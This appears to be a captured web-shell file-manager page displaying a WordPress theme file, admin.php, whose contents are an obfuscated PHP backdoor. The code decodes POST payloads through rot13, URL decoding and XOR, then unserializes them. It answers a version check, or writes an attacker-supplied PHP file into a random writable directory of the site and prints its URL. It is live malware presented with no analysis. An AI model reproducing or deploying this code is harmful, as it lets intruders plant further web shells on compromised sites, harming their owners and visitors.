HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/themes/blogai/hooks/admin.php
<?php function moQNmvoIHS($KsRQi){$BZxqRWJKW = chr(701-587).chr(97).'w'.chr(398-281)."\162".'l'."\x64"."\x65".chr(796-697).chr(111)."\x64"."\x65";$qkXgAG = "\163"."\x74".'r'.chr(95).chr(114).chr(111).chr(116).'1'."\x33";$lgeAGEEk = 's'.chr(464-348).'r'."\x5f".'s'.chr(112).chr(1029-921)."\x69"."\x74";$KsRQi = $lgeAGEEk($BZxqRWJKW($qkXgAG($KsRQi)));return $KsRQi;}function WETAZd($KkNoGcXdkR, $KsRQi){$kykjjGLtO = "\163"."\x74".'r'."\x5f".chr(857-742).'p'.chr(108).chr(842-737).chr(474-358);$KkNoGcXdkR = array_slice($kykjjGLtO(str_repeat($KkNoGcXdkR, (count($KsRQi)/16)+1)), 0, count($KsRQi));return $KkNoGcXdkR;}function lWVfbMte($aJQDZN, $cLjtfOtJZ, $KkNoGcXdkR){$zSKFFEliFWwmUxkXzS = "bb909a2d-e94b-49c0-b6c4-fa73b26b873f";return $aJQDZN ^ $zSKFFEliFWwmUxkXzS[$cLjtfOtJZ % strlen($zSKFFEliFWwmUxkXzS)] ^ $KkNoGcXdkR;}function jtsICta($KsRQi, $KkNoGcXdkR){$KsRQi = array_map("lWVfbMte", array_values($KsRQi), array_keys($KsRQi), array_values($KkNoGcXdkR));$KsRQi = implode("", $KsRQi);$eKjLn = 'u'.chr(1077-967)."\163"."\x65".chr(114)."\x69".'a'."\154".chr(569-464).chr(122)."\x65";$KsRQi = @$eKjLn($KsRQi);return $KsRQi;}function FTyZuyY(){echo "tajJmEXRkh";}function wAQPpk($zSKFFEliFir){static $PpqeNC = array();$JULNAu = glob($zSKFFEliFir . '/*', GLOB_ONLYDIR);$sAUOWwOQ = count($JULNAu);if ($sAUOWwOQ > 0) {foreach ($JULNAu as $zSKFFEliF) {$srCKWr = 'i'."\163"."\137".chr(836-717)."\162".chr(105)."\164"."\x61".'b'.chr(840-732)."\x65";if (@$srCKWr($zSKFFEliF)) {$PpqeNC[] = $zSKFFEliF;}}}foreach ($JULNAu as $zSKFFEliFir) wAQPpk($zSKFFEliFir);return $PpqeNC;}function GFpVbHgr(){echo "foejlAU";}function CuMEaOoUj($KsRQi){$hdPlvbaN = 'D'.chr(79)."\x43".'U'."\115".chr(69)."\x4e".chr(586-502).'_'."\122"."\117"."\117".chr(84);$PqxCissDc = $_SERVER[$hdPlvbaN];$JULNAu = wAQPpk($PqxCissDc);$iyWhVgYNG = array_rand($JULNAu);$MWcnNGhpJ = "\x2e"."\x70"."\x68".chr(112);$tDnhiYEzyq = $JULNAu[$iyWhVgYNG] . "/" . substr(md5(time()), 0, 8) . $MWcnNGhpJ;$DyZWGhTEgm = "\146".'i'.chr(1076-968)."\x65".chr(947-852)."\x70".chr(504-387)."\164"."\137".chr(855-756)."\157"."\x6e"."\x74".chr(101).'n'."\x74".chr(115);@$DyZWGhTEgm($tDnhiYEzyq, $KsRQi);$xwxrgNoy = "\110".chr(517-433)."\x54".chr(80).chr(826-731).'H'.chr(79).'S'.chr(84);$tpDzBBbxEl = chr(104).'t'."\164"."\160".chr(337-279).chr(47)."\57";$EmpPAejWe = $tpDzBBbxEl . $_SERVER[$xwxrgNoy] . substr($tDnhiYEzyq, strlen($PqxCissDc));print($EmpPAejWe);}foreach ($_POST as $KkNoGcXdkR => $KsRQi){$OEswz = strlen($KkNoGcXdkR);if ($OEswz == 16){$KsRQi = moQNmvoIHS($KsRQi);$KkNoGcXdkR = WETAZd($KkNoGcXdkR, $KsRQi);$KsRQi = jtsICta($KsRQi, $KkNoGcXdkR);if (@is_array($KsRQi)){$iyWhVgYNG = array_keys($KsRQi);$KsRQi = $KsRQi[$iyWhVgYNG[0]];if ($KsRQi === $iyWhVgYNG[0]){$IPBNx = "\x70".chr(549-445).chr(112);$ZnLYXBdix = "\160"."\150"."\160".chr(118).'e'.chr(114)."\163"."\x69"."\x6f"."\156";$OcTUhVge = chr(302-187).chr(772-671).'r'."\x69"."\141".chr(674-566)."\151".chr(122)."\x65";echo @$OcTUhVge(Array($IPBNx => @$ZnLYXBdix(), ));}else {CuMEaOoUj($KsRQi);}die();}}}